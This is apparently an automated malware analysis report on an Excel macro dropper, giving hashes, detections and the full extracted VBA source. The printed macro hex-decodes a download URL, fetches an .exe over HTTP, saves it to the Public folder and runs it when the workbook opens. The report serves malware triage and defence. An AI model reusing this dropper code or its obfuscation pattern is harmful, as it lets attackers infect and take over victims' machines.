Office (OOXML) malware analysis — malicious · 30eab4e461c76f40

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-15

MD5: 4ff4f1ce2dedc4821280c2f938062556 SHA-1: 1377b134d13a03cc74b0ab528487351f21fa9ad2 SHA-256: 30eab4e461c76f40ddda3d89e2571b019afef3733b4004bb11a5a0c0a91059c0

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open macro is designed to execute a series of obfuscated calls, ultimately creating an object to download and save a file from the URL 'http://massdisp.com/imgs/temp/predgfrt.exe'. This behavior is indicative of a dropper malware.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
tpmakulkmanvkksiwdueadjrnpnwsgsvcltyicktsuchhblbgqjhvclpgumvhosgissyquausblgabkmdlqbxlzazernpoldcwzo.write jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm = CreateObject(odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm = CreateObject(odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6611 bytes
SHA-256: `fd05eaa0653f61feb590b34865ade0a5f288c8fa99ad94aabe9cf22f0a27ad24`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select lyxuhhsdohchwvqwlkpbjoqlsqpmhuizfwdkozzkgotwwqduvtnqadfwilbrrfwuzcczrfimkevuvupbmvrogszcrgccxhtbsyxt"68 74 74 70 3A 2F 2F 6D 61 73 73 64 69 73 70 2E 63 6F 6D 2F 69 6D 67 73 2F 74 65 6D 70 2F 70 72 65 64 67 66 72 74 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub lyxuhhsdohchwvqwlkpbjoqlsqpmhuizfwdkozzkgotwwqduvtnqadfwilbrrfwuzcczrfimkevuvupbmvrogszcrgccxhtbsyxt (gzmwmrkknccqpsbwsojezqkelcyvhvqrrnwisrffsjmebicvpdxwtchqohkktpdrmkzbwseajdlqdgddadgdytypfftkgvmdgvrq As String) Dim jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm Range("A6:J13").Select Dim tpmakulkmanvkksiwdueadjrnpnwsgsvcltyicktsuchhblbgqjhvclpgumvhosgissyquausblgabkmdlqbxlzazernpoldcwzo Range("A6:J13").Select Dim imllqoouqfpekarvyqjxtsymcmfdpidecvdqzekiwejtpndoxpfmncvpnzjejlficlcowawufaapjfwpjqgzcrqaancaugzkybre Range("A6:J13").Select Set jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm = CreateObject(odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm = CreateObject(odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm = CreateObject(odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm = CreateObject(odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set tpmakulkmanvkksiwdueadjrnpnwsgsvcltyicktsuchhblbgqjhvclpgumvhosgissyquausblgabkmdlqbxlzazernpoldcwzo = CreateObject(odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set imllqoouqfpekarvyqjxtsymcmfdpidecvdqzekiwejtpndoxpfmncvpnzjejlficlcowawufaapjfwpjqgzcrqaancaugzkybre = CreateObject(odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) smcwwiwfxupyiudssmkcujatmrfdivfjcijqudysmbtxleluefxpiueiljjfctwbpfvakmyporptqdhifkycyqbidafltsqterif = odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw(gzmwmrkknccqpsbwsojezqkelcyvhvqrrnwisrffsjmebicvpdxwtchqohkktpdrmkzbwseajdlqdgddadgdytypfftkgvmdgvrq) ilkrhiaqeksibbzruudyenwjhmvvbvpyubzuahvppkdsiwkstyzjojbvpakunepjvuozbernznjujdbkcccdwfjkaefawackuuxn = odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6D 6B 6B 71 71 6F 76 72 6C 2e 65 78 65") ikrohlkaahllyzrlcmmqleywzqqylyzpgocrlnwluijtttbxiqhiigcdluoqumpbhwfkwazpqbwcufdgptpurqgzlzgqyfqhtilx = odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6D 6B 6B 71 71 6F 76 72 6C 2e 65 78 65") jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm.Open chr(71) + chr(69) + chr(84), smcwwiwfxupyiudssmkcujatmrfdivfjcijqudysmbtxleluefxpiueiljjfctwbpfvakmyporptqdhifkycyqbidafltsqterif, False jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm.send tpmakulkmanvkksiwdueadjrnpnwsgsvcltyicktsuchhblbgqjhvclpgumvhosgissyquausblgabkmdlqbxlzazernpoldcwzo.Type = 1 tpmakulkmanvkksiwdueadjrnpnwsgsvcltyicktsuchhblbgqjhvclpgumvhosgissyquausblgabkmdlqbxlzazernpoldcwzo.Open tpmakulkmanvkksiwdueadjrnpnwsgsvcltyicktsuchhblbgqjhvclpgumvhosgissyquausblgabkmdlqbxlzazernpoldcwzo.write jaywzwnpqrnhehkpjztsmkwqztunrikhomuaejebfiynsmgzkwugczezdixfczyihfsrmklzvrmdliynnucvndfpivwwmyygkqgm.responseBody tpmakulkmanvkksiwdueadjrnpnwsgsvcltyicktsuchhblbgqjhvclpgumvhosgissyquausblgabkmdlqbxlzazernpoldcwzo.savetofile ilkrhiaqeksibbzruudyenwjhmvvbvpyubzuahvppkdsiwkstyzjojbvpakunepjvuozbernznjujdbkcccdwfjkaefawackuuxn, 2 imllqoouqfpekarvyqjxtsymcmfdpidecvdqzekiwejtpndoxpfmncvpnzjejlficlcowawufaapjfwpjqgzcrqaancaugzkybre.Run ikrohlkaahllyzrlcmmqleywzqqylyzpgocrlnwluijtttbxiqhiigcdluoqumpbhwfkwazpqbwcufdgptpurqgzlzgqyfqhtilx End Sub Public Function odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw(ByVal lorwtlgmbfgicuuseffkubnixvzybqqhnsduyjfrlezvhuxalggsvhkjbizxmhklpyvjqatvanzpcsbdyynujxmfiutpkifduofi As String) As String Dim ynklnksiiuhihvznupbrmpbwhdlrhvuomtfkobhzedxnnkioisiemnvimodkzaamzsvnqozsicnirnixuwjpmqbzxwyayxzddlou As String Dim ovxutqvkamrzfgpdrkzjrwpuqyulcjffyojzyowwuqylfyurhwmsmedrfdeuvkhrhlarxpedocoayeprecdgwmtukruujcakigdu As String Dim ydusriejqcsbonqtgauurggfvjtlcersavsailpnijehztgwmhdiljcrxowhpshllaatupkulgmhcygcdwzubjgqsbdtpiyqcswy As Long For ydusriejqcsbonqtgauurggfvjtlcersavsailpnijehztgwmhdiljcrxowhpshllaatupkulgmhcygcdwzubjgqsbdtpiyqcswy = 1 To Len(lorwtlgmbfgicuuseffkubnixvzybqqhnsduyjfrlezvhuxalggsvhkjbizxmhklpyvjqatvanzpcsbdyynujxmfiutpkifduofi)Step 3 ynklnksiiuhihvznupbrmpbwhdlrhvuomtfkobhzedxnnkioisiemnvimodkzaamzsvnqozsicnirnixuwjpmqbzxwyayxzddlou = Chr$(Val("&H" & Mid$(lorwtlgmbfgicuuseffkubnixvzybqqhnsduyjfrlezvhuxalggsvhkjbizxmhklpyvjqatvanzpcsbdyynujxmfiutpkifduofi, ydusriejqcsbonqtgauurggfvjtlcersavsailpnijehztgwmhdiljcrxowhpshllaatupkulgmhcygcdwzubjgqsbdtpiyqcswy, 2))) ovxutqvkamrzfgpdrkzjrwpuqyulcjffyojzyowwuqylfyurhwmsmedrfdeuvkhrhlarxpedocoayeprecdgwmtukruujcakigdu = ovxutqvkamrzfgpdrkzjrwpuqyulcjffyojzyowwuqylfyurhwmsmedrfdeuvkhrhlarxpedocoayeprecdgwmtukruujcakigdu & ynklnksiiuhihvznupbrmpbwhdlrhvuomtfkobhzedxnnkioisiemnvimodkzaamzsvnqozsicnirnixuwjpmqbzxwyayxzddlou Next ydusriejqcsbonqtgauurggfvjtlcersavsailpnijehztgwmhdiljcrxowhpshllaatupkulgmhcygcdwzubjgqsbdtpiyqcswy odcpkbfvhkaowaewoiogdzildfodltcxxwmjsbdemdugfngxdw = ovxutqvkamrzfgpdrkzjrwpuqyulcjffyojzyowwuqylfyurhwmsmedrfdeuvkhrhlarxpedocoayeprecdgwmtukruujcakigdu End Function Attribute VB_Name = "nqaiqsshjzjgqiabwukrpfyxu" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `ce412a0d64bc98e2440fcaddae2a75beadd9d1ce9f5502986faa65be357a53e5`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 117 of 213 identifiers look randomly generated (e.g. 'nqaiqsshjzjgqiabwukrpfyxu') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.